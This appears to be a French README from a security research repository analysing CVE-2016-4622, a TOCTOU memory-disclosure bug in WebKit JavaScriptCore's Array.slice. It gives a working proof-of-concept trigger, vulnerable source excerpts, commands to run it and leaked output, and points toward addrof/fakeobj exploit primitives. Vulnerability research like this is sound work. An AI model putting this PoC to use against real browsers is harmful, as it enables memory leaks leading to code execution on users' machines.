
Analyse approfondie et procédure d'exploitation de CVE-2016-4622, une vulnérabilité de divulgation mémoire WebKit JavaScriptCore via une condition de course Array.slice TOCTOU, avec code PoC et configuration de débogage.
Analyse complète et exploitation de la vulnérabilité du moteur JavaScript Core de WebKit permettant la divulgation mémoire via la manipulation de Array.slice
Ce dépôt contient une analyse complète de CVE-2016-4622, une vulnérabilité critique de divulgation mémoire dans le moteur JavaScript Core de WebKit. La vulnérabilité provient d'une condition de concurrence dans l'implémentation de Array.slice() qui peut être exploitée pour fuiter le contenu mémoire adjacent, servant de base à des primitives d'exploitation plus sophistiquées comme addrof et fakeobj.
Impact : Divulgation mémoire pouvant conduire à une exécution de code à distance potentielle
Composant affecté : WebKit JavaScript Core (JSC)
Cause racine : Vulnérabilité de type vérification-utilisation (TOCTOU) dans l'implémentation de fastSlice
La vulnérabilité existe dans le « chemin rapide » optimisé de WebKit pour la méthode Array.slice(). Lors du traitement des paramètres de slice, le moteur convertit les arguments objets en valeurs primitives en appelant leur méthode valueOf(). Cette conversion a lieu après avoir déterminé les paramètres de l'opération slice mais avant l'opération de copie mémoire proprement dite.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
Ce qui se passe :
a est créé avec 100 élémentsvalueOf() est appeléevalueOf() malveillante réduit la taille du tableau à 0memcpy tente de copier 10 éléments d'un tableau videWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Implémentation de référence par Saelo
├── Exploit/ # Tentatives d'exploitation personnalisées
│ ├── poc-memleak.js # Preuve de concept de fuite mémoire
│ └── slice_over_array.js # Exemples éducatifs
├── WebKit-SRC-CVE-2016-4622/ # Code source vulnérable (commit 320b1fc)
├── WebKit-Bins/ # Binaires compilés pour les tests
│ ├── Debug/ # Version debug avec symboles
│ └── ASAN/ # Version avec AddressSanitizer activé
└── Screenshoots/ # Documentation visuelle
Binaires : Binaires JSC pré-compilés construits sur VMWare OSX 10.11 avec XCode 7.3.2
Architecture : Exécutables x86_64 Mach-O
Fonctionnalités de débogage : Symboles + AddressSanitizer pour une analyse complète
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Sortie attendue montrant la fuite mémoire :
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
La méthode Array.slice(begin, end) crée une copie superficielle d'une partie d'un tableau. Dans des conditions normales :
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Retourne ['b', 'c']
Point clé : Le paramètre end subit une conversion de type via valueOf(), créant une fenêtre d'exploitation.
Lorsque la vulnérabilité se déclenche, AddressSanitizer capture ce flux d'appels :
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - Point d'entréeEmplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - Le déclencheur de conversionEmplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
La condition de concurrence :
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) appelle notre valueOf() malveillantefastSlice() - Où se produit la corruption mémoireEmplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
La corruption mémoire :
startIndex = 0, count = 10valueOf())memcpy lit 10 JSValues à partir de l'index 0Phase de configuration
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
Phase de déclenchement
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Phase d'exploitation
valueOf()fastSlice tente de copier 10 éléments du tableau videRésultat
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
Cette vulnérabilité sert de base pour :
addrof/fakeobjStratégies d'atténuation :
memcpy320b1fc3f6fChronologie de la recherche : 11-12 avril 2020
Statut : Analyse complète ✅
Prochaines étapes : Développement d'une chaîne d'exploitation complète avec les primitives addrof/fakeobj
| Composant | Problème | Impact |
|---|
| Traitement des paramètres | TOCTOU dans argumentClampedIndexFromStartOrEnd | Permet la modification d'état pendant le traitement |
| Logique de chemin rapide | Validation insuffisante dans fastSlice | Contourne les vérifications de limites |
| Opérations mémoire | memcpy non vérifié dans la copie de tableau | Divulgation mémoire directe |